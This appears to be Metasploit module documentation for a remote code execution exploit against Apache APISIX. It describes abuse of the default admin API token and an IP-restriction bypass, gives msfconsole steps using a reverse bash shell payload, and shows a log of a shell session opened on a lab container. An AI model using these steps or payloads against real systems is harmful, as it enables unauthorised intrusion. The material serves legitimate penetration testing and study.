## Vulnerable Application

A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.

The Apache APISIX has a default API token `edd1c9f034335f136f87ad84b625c8f1` defined at `conf/config.yaml` and in its default configuration
doesn't come with the `ip-restriction` plugin enabled. This allows any user to add a new route in its default configuration. By leveraging
the feature `script` added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if
ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.

This module was tested using a vulnerable docker container as available on the
[vulnhub](https://github.com/vulhub/apisix/CVE-2020-13945/docker-compose.yml) project.

If we have the API token we can execute command using the parameter `filter_func` or `script`, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.

### Version and OS
This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1

## Verification Steps
Confirm that functionality works:

1. Start `msfconsole`
2. `use exploit/multi/http/apache_apisix_api_default_token_rce`
3. set `RHOSTS` and `RPORT`
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. It come already with a default payload `cmd/unix/reverse_bash`
7. set `LHOST` and `LPORT`
8. `exploit`
9. Confirm you have now a cmd session

## Options

### TARGETURI (required)

The path to the APISIX routes controller (Default: `/apisix`).

### API_KEY (required)

The admin API KEY for APISIX (Default: `edd1c9f034335f136f87ad84b625c8f1`).

### ALLOWED_IP (required)

An IP address that is knew to be in the allowed list (Default: `127.0.0.1`).

## Scenarios
```
msf exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking component version to 127.0.0.1:9080
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100
id

uid=99(nobody) gid=99(nobody) groups=99(nobody)
uname -a
Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf exploit(multi/http/apache_apisix_api_default_token_rce) > 
```
